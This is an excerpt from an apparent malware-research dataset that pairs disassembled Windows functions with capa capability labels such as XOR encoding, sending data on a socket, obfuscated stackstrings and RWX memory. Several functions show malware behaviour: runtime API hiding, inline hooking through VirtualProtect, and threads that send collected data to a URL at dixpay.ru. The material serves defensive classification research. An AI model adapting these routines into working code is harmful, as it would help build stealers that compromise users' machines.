joyce8/EMBER2024-capa huggingface dataset:
Function at 0x67ec20
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xc
call fcn.00447e30
push ebx
mov ebx, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x1c]
push edi
mov eax, dword [ebx + 4]
mov edi, dword [esp + 0x28]
inc edi
mov eax, dword [eax + 0x64]
test byte [eax + 0x34], 1
je 0x67ec6d
mov ecx, dword [esp + 0x24]
mov edx, dword [esi + 8]
lea eax, [edi + ecx]
cmp eax, edx
jbe 0x67ec5d
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
add dword [esi + 0x14], ecx
sub edx, ecx
add dword [esi + 0x18], ecx
sub dword [esi + 0xc], ecx
mov dword [esi + 8], edx
jmp 0x67ec72
cmp edi, dword [esi + 8]
ja 0x67ec54
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 8]
push ebp
push dword [ebx + 0xb0]
mov al, byte [ecx + eax - 1]
movzx ebp, al
mov byte [esp + 0x30], al
mov dword [esp + 0x24], ebp
call fcn.005bbca0
push eax
call fcn.005b81d0
add esp, 8
test eax, 0x200000
je 0x67ecb8
or eax, 0xffffffff
sub eax, ebp
add dword [esi + 8], eax
mov eax, 1
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xc
ret
mov edx, dword [esi + 8]
lea ecx, [edi + ebp]
mov ebx, edx
mov dword [esp + 0x10], edx
sub ebx, ecx
mov eax, edx
xor ebx, ecx
xor eax, ecx
or ebx, eax
mov eax, 0x100
xor ebx, edx
shr ebx, 0x1f
dec ebx
cmp edx, eax
cmovb eax, edx
xor edi, edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x67ed44
mov eax, dword [esi + 0x14]
mov esi, dword [esp + 0x20]
mov edx, esi
mov ebp, dword [esp + 0x10]
shr edx, 0x1f
dec ebp
mov dword [esp + 0x18], edx
add ebp, eax
nop
mov ecx, esi
lea ebp, [ebp - 1]
sub ecx, edi
mov eax, edi
shr ecx, 0x1f
inc edi
shr eax, 0x1f
xor cl, al
xor al, dl
or cl, al
movzx eax, byte [esp + 0x2c]
xor cl, dl
dec cl
movzx edx, cl
movzx ecx, byte [ebp + 1]
xor ecx, eax
and edx, ecx
not edx
and ebx, edx
mov edx, dword [esp + 0x18]
cmp edi, dword [esp + 0x14]
jb 0x67ed00
mov esi, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov edx, dword [esp + 0x10]
not ebx
movzx eax, bl
lea ecx, [eax - 1]
not eax
shr eax, 0x1f
shr ecx, 0x1f
and ecx, eax
lea eax, [ebp + 1]
neg ecx
and eax, ecx
sub edx, eax
mov eax, ecx
pop ebp
pop edi
mov dword [esi + 8], edx
and eax, 1
not ecx
pop esi
or eax, ecx
pop ebx
add esp, 0xc
ret
Function at 0x683670
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 0x20]
cmp dword [eax], 5
je 0x68368b
push eax
push esi
call fcn.00683cb0
add esp, 8
test eax, eax
jle 0x6836d3
push edi
push 0
call dword [sym.imp.WS2_32.dll_WSASetLastError]
push 0
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [esi + 0x1c]
call dword [sym.imp.WS2_32.dll_send]
push 0xf
push esi
mov edi, eax
call fcn.005b7f80
add esp, 8
test edi, edi
jg 0x6836d0
push edi
call fcn.006001e0
add esp, 4
test eax, eax
je 0x6836d0
push 0xa
push esi
call fcn.005b86e0
add esp, 8
mov eax, edi
pop edi
pop esi
ret
Function at 0x4034f5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push dword [ebp + 8]
call fcn.0040316d
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.004031a8
invalid

Function at 0x4056c4
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4056e0
and al, 0xfe
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret 4

Function at 0x4056e3
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x405712
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x405756
test edi, edi
jne 0x40571d
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x405750
Function at 0x10001382
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
push str.Wininet
mov edi, ecx
call esi
push str.Winhttp
mov dword [edi], eax
call esi
push str.Ws2_32
mov dword [edi + 4], eax
call esi
push str.ntdll
mov dword [edi + 8], eax
call esi
mov dword [edi + 0xc], eax
xor eax, eax
cmp dword [edi + eax*4], 0
je 0x10001499
inc eax
cmp eax, 4
jl 0x100013c5
push ebx
mov byte [ebp - 0x24], 0x49
nop
mov byte [ebp - 0x23], 0x6e
nop
mov byte [ebp - 0x22], 0x74
nop
mov byte [ebp - 0x21], 0x65
nop
mov byte [ebp - 0x20], 0x72
nop
mov byte [ebp - 0x1f], 0x6e
nop
mov byte [ebp - 0x1e], 0x65
nop
mov byte [ebp - 0x1d], 0x74
nop
mov byte [ebp - 0x1c], 0x4f
nop
mov byte [ebp - 0x1b], 0x70
nop
mov byte [ebp - 0x1a], 0x65
nop
mov byte [ebp - 0x19], 0x6e
nop
mov byte [ebp - 0x18], 0x41
nop
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x24]
push eax
push dword [edi]
mov byte [ebp - 0x17], 0
lea ebx, [edi + 0x10]
call esi
push str.InternetOpenUrlA
push dword [edi]
mov dword [ebx], eax
call esi
push str.InternetCreateUrlW
push dword [edi]
mov dword [edi + 0x14], eax
call esi
push str.InternetCreateUrlA
push dword [edi]
mov dword [edi + 0x18], eax
call esi
push str.GetAddrInfoExW
push dword [edi + 8]
mov dword [edi + 0x1c], eax
call esi
push str.NtQueueApcThread
push dword [edi + 0xc]
mov dword [edi + 0x20], eax
call esi
push str.WinHttpCreateUrl
push dword [edi + 4]
mov dword [edi + 0x24], eax
call esi
push 7
mov dword [edi + 0x28], eax
add edi, 0x2c
pop edx
mov ecx, dword [ebx]
lea ebx, [ebx + 4]
mov eax, dword [ecx]
mov dword [edi], eax
lea edi, [edi + 5]
mov al, byte [ecx + 4]
mov byte [edi - 1], al
dec edx
jne 0x1000147f
mov al, 1
pop ebx
jmp 0x1000149b
xor al, al
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10002376
mov esp, ebp
pop ebp
ret

Function at 0x100014ab
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
push esi
movzx esi, bl
imul eax, esi, 5
cmp byte [eax + 0x100043c4], 0xe9
jne 0x1000152b
lea eax, [ebp + 8]
push eax
push 0x40
push 5
push dword [esi*4 + 0x100043a8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp bl, 5
jne 0x100014fb
push dword [0x100043bc]
call fcn.10001533
mov ecx, dword [0x100043bc]
mov byte [ecx], 0xb8
mov ecx, dword [0x100043bc]
mov dword [ecx + 1], eax
jmp 0x10001511
mov ecx, dword [esi*4 + 0x100043a8]
mov eax, dword [0x1000401c]
mov dword [ecx], eax
mov al, byte [0x10004020]
mov byte [ecx + 4], al
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
push 5
push dword [esi*4 + 0x100043a8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, 1
jmp 0x1000152d
xor al, al
pop esi
pop ebx
pop ebp
ret 4
Function at 0x100016c1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 8], 0
je 0x1000183a
mov ecx, dword [0x10004368]
cmp byte [ecx + 0x81], 0
je 0x1000183a
cmp dword [ecx + 0x2c], 1
je 0x100016f4
cmp dword [ecx + 0x2c], 3
jne 0x1000183a
mov eax, dword [ecx + 0x24]
push ebx
push esi
push edi
mov eax, dword [eax + 0x4d]
mov dword [ebp - 8], eax
movzx eax, word [ecx + 0x30]
mov dword [ebp - 0xc], eax
mov eax, dword [0x10004370]
dec eax
je 0x100017bd
dec eax
je 0x1000178c
dec eax
je 0x10001764
dec eax
jne 0x10001750
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001736
mov edi, dword [edi + 0x12]
jmp 0x10001739
add edi, 0x12
mov eax, dword [ecx + 0x235]
lea ebx, [ecx + 0x131]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x30]
jmp 0x100017ec
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
jmp 0x100017ec
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001784
mov edi, dword [edi + 0x2f22]
jmp 0x10001739
add edi, 0x2f22
jmp 0x10001739
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x100017a6
mov edi, dword [edi + 6]
jmp 0x100017a9
add edi, 6
mov eax, dword [ecx + 0x221]
lea ebx, [ecx + 0x11d]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x1c]
jmp 0x100017ec
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x100017d7
mov edi, dword [edi + 0xa]
jmp 0x100017da
add edi, 0xa
mov eax, dword [ecx + 0x225]
lea ebx, [ecx + 0x121]
mov dword [ebp + 8], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 4], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.13750
mov esi, eax
push dword [ebp - 8]
mov eax, dword [ebp - 0xc]
movzx ecx, ax
push ecx
push edi
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
push str.http:__dixpay.ru_70SM78F1dkfj04f0i23ifiu23fhji.php_data
push str._ws_s:_d_s_s_d_ws_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001595
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10001840
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
movzx ecx, ax
cmp ecx, 0xffff
jne 0x100019ba
cmp byte [0x100043e7], 0
je 0x100019a6
mov eax, dword [0x10004370]
push esi
push edi
dec eax
je 0x10001925
dec eax
je 0x100018f1
dec eax
je 0x100018c9
dec eax
jne 0x100018b2
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001895
mov edi, dword [edi + 0x12]
jmp 0x10001898
add edi, 0x12
lea eax, [ecx + 0x131]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x235]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x30]
jmp 0x10001957
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 8]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
jmp 0x10001957
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x100018e9
mov edi, dword [edi + 0x2f22]
jmp 0x10001898
add edi, 0x2f22
jmp 0x10001898
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x1000190b
mov edi, dword [edi + 6]
jmp 0x1000190e
add edi, 6
lea eax, [ecx + 0x11d]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x221]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x1c]
jmp 0x10001957
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x1000193f
mov edi, dword [edi + 0xa]
jmp 0x10001942
add edi, 0xa
lea eax, [ecx + 0x121]
mov dword [ebp + 8], eax
mov eax, dword [ecx + 0x225]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.13750
mov esi, eax
push 0x100043ec
push 0x270f
push edi
push dword [ebp + 8]
push dword [ebp - 4]
push dword [ebp - 8]
push str.http:__dixpay.ru_70SM78F1dkfj04f0i23ifiu23fhji.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001595
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
mov byte [0x100043e7], 0
mov byte [0x100043ec], 0
mov esp, ebp
pop ebp
ret 4
cmp ecx, 0x8ff
jg 0x100019b4
mov eax, dword [0x10004370]
cmp eax, 3
je 0x100019ee
cmp eax, 4
je 0x100019ee
cmp eax, 2
mov eax, dword [0x10004378]
jne 0x100019e3
mov eax, dword [eax + 0x3c5]
jmp 0x100019f9
mov eax, dword [eax + 0x3cd]
mov eax, dword [eax + 0x10]
jmp 0x100019fc
mov eax, dword [0x10004378]
mov eax, dword [eax + 0x3de]
mov eax, dword [eax + 0x20]
cmp dword [eax + ecx*4], 0
je 0x100019b4
mov eax, dword [eax + ecx*4 + 0x2400]
mov dl, byte [eax]
test dl, dl
je 0x100019b4
cmp byte [eax + 1], 0
jne 0x100019b4
mov cl, byte [0x100043e7]
cmp cl, 0xa
jae 0x100019b4
movzx eax, cl
inc cl
mov byte [0x100043e7], cl
mov byte [eax + 0x100043ec], dl
movzx eax, cl
cmp eax, 0xb
jae 0x10001a45
mov byte [eax + 0x100043ec], 0
jmp 0x100019b4
call fcn.100024bd
int3
Function at 0x10001a4b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push str._log
push dword [0x1000437c]
call dword [sym.imp.MSVCR120.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x10001ba8
mov eax, dword [0x1000437c]
push ebx
mov dword [ebp - 0xc], eax
mov eax, dword [0x10004370]
push esi
push edi
dec eax
je 0x10001b2d
dec eax
je 0x10001afc
dec eax
je 0x10001ad4
dec eax
jne 0x10001ac0
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001aa6
mov edi, dword [edi + 0x12]
jmp 0x10001aa9
add edi, 0x12
mov eax, dword [ecx + 0x235]
lea ebx, [ecx + 0x131]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x30]
jmp 0x10001b5c
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
jmp 0x10001b5c
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001af4
mov edi, dword [edi + 0x2f22]
jmp 0x10001aa9
add edi, 0x2f22
jmp 0x10001aa9
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x10001b16
mov edi, dword [edi + 6]
jmp 0x10001b19
add edi, 6
mov eax, dword [ecx + 0x221]
lea ebx, [ecx + 0x11d]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x1c]
jmp 0x10001b5c
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x10001b47
mov edi, dword [edi + 0xa]
jmp 0x10001b4a
add edi, 0xa
mov eax, dword [ecx + 0x225]
lea ebx, [ecx + 0x121]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.13750
mov esi, eax
push dword [ebp - 0xc]
push 0x194
push edi
push ebx
push dword [ebp - 4]
push dword [ebp - 8]
push str.http:__dixpay.ru_70SM78F1dkfj04f0i23ifiu23fhji.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001595
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001bac
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x10004400]
cmp dword [ecx], 0
jle 0x10001ca4
mov eax, dword [ecx + 0xc]
cmp byte [eax], 0xd7
jne 0x10001ca4
and dword [ebp - 0x28], 0
lea eax, [ebp - 0x28]
push edi
push eax
lea edx, [ebp - 0x24]
call section..text
mov edi, dword [ebp - 0x28]
pop ecx
test edi, edi
je 0x10001ca3
push ebx
xor ebx, ebx
test edi, edi
jle 0x10001ca2
movzx eax, ax
mov dword [ebp - 0x38], eax
push esi
cmp dword [0x10004370], 3
jne 0x10001c4f
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov eax, dword [eax + 8]
cmp dword [eax + 0x2f32], 0xf
jle 0x10001c2f
mov eax, dword [eax + 0x2f22]
jmp 0x10001c34
add eax, 0x2f22
mov dword [ebp - 0x28], eax
lea eax, [ecx + 0x131]
mov dword [ebp - 0x2c], eax
mov eax, dword [ecx + 0x235]
mov dword [ebp - 0x34], eax
lea eax, [ecx + 0x30]
mov dword [ebp - 0x30], eax
push 0x400
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.13750
mov esi, eax
push dword [ebp + ebx*4 - 0x24]
push dword [ebp - 0x38]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push str.http:__dixpay.ru_70SM78F1dkfj04f0i23ifiu23fhji.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001595
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
inc ebx
cmp ebx, edi
jl 0x10001c06
pop esi
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002376
mov esp, ebp
pop ebp
ret

Function at 0x100021b5
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1000401a], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
je 0x1000220d
mov edi, str.13750
xor esi, esi
push edi
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x1000220d
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push esi
push esi
push 0x10001d56
mov dword [0x10004390], eax
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0xc
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002226
mov esi, 0x100033d4
lea eax, [ebp - 0x108]
push 0x100033e0
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10002376
mov esp, ebp
pop ebp
ret 4
Function at 0x10002266
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x10002362
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push str.Wininet
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x100043f8], eax
mov byte [ebp - 0x24], 0x49
nop
mov byte [ebp - 0x23], 0x6e
nop
mov byte [ebp - 0x22], 0x74
nop
mov byte [ebp - 0x21], 0x65
nop
mov byte [ebp - 0x20], 0x72
nop
mov byte [ebp - 0x1f], 0x6e
nop
mov byte [ebp - 0x1e], 0x65
nop
mov byte [ebp - 0x1d], 0x74
nop
mov byte [ebp - 0x1c], 0x4f
nop
mov byte [ebp - 0x1b], 0x70
nop
mov byte [ebp - 0x1a], 0x65
nop
mov byte [ebp - 0x19], 0x6e
nop
mov byte [ebp - 0x18], 0x41
nop
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x24]
push eax
push dword [0x100043f8]
xor ebx, ebx
mov byte [ebp - 0x17], bl
call esi
push str.InternetOpenUrlA
push dword [0x100043f8]
mov dword [0x10004380], eax
call esi
push str.InternetCloseHandle
push dword [0x100043f8]
mov dword [0x10004384], eax
call esi
mov dword [0x10004388], eax
mov dword [0x10004374], edi
cmp byte [0x1000401a], bl
jne 0x10002360
mov esi, str.13750
push esi
push ebx
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x10002360
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push ebx
push ebx
push 0x10001d56
mov dword [0x10004390], eax
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0xc
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
inc eax
pop edi
call fcn.10002376
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10002eb0
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x10024018]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x48], 0x40
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x10002f29
mov eax, dword [ebp + 8]
cdq
push 0
push 0x400
push edx
push eax
call fcn.1001b0f0
push 0
push 0x400
push edx
push eax
call fcn.1001b0f0
push 0
push 0x400
push edx
push eax
call fcn.1001b0f0
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x50]
ja 0x10002f29
jb 0x10002f20
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x54]
jae 0x10002f29
mov dword [ebp - 0x58], 0
jmp 0x10002f30
mov dword [ebp - 0x58], 1
mov al, byte [ebp - 0x58]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001111a
mov esp, ebp
pop ebp
ret

Function at 0x10002f90
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov dword [ebp - 0x30], 0
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov byte [ebp - 1], 0
push 0x1001d764
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x10002fff
push 0x1001d780
mov ecx, dword [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10002ff5
lea edx, [ebp - 0x2c]
push edx
call dword [ebp - 8]
mov byte [ebp - 1], 1
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx ecx, byte [ebp - 1]
test ecx, ecx
jne 0x10003015
lea edx, [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov byte [ebp - 1], 1
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10003051
movzx ecx, word [ebp - 0x2c]
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], 0
je 0x10003038
cmp dword [ebp - 0x34], 6
je 0x1000303f
cmp dword [ebp - 0x34], 9
je 0x10003046
jmp 0x1000304d
mov eax, 8
jmp 0x10003053
mov eax, 2
jmp 0x10003053
mov eax, 4
jmp 0x10003053
xor eax, eax
jmp 0x10003053
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1000a2d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
xor eax, eax
jne 0x1000a2d9
xor ecx, ecx
jne 0x1000a2d9
xor edx, edx
cmp dword [ebp + 0xc], 0
setne dl
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jne 0x1000a2fa
mov eax, 0xd
jmp 0x1000a355
xor eax, eax
jne 0x1000a2e1
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax*2]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2]
mov dword [ebp - 4], edx
cmp dword [ebp - 0xc], 1
jne 0x1000a30b
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 7
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esp, ebp
pop ebp
ret 8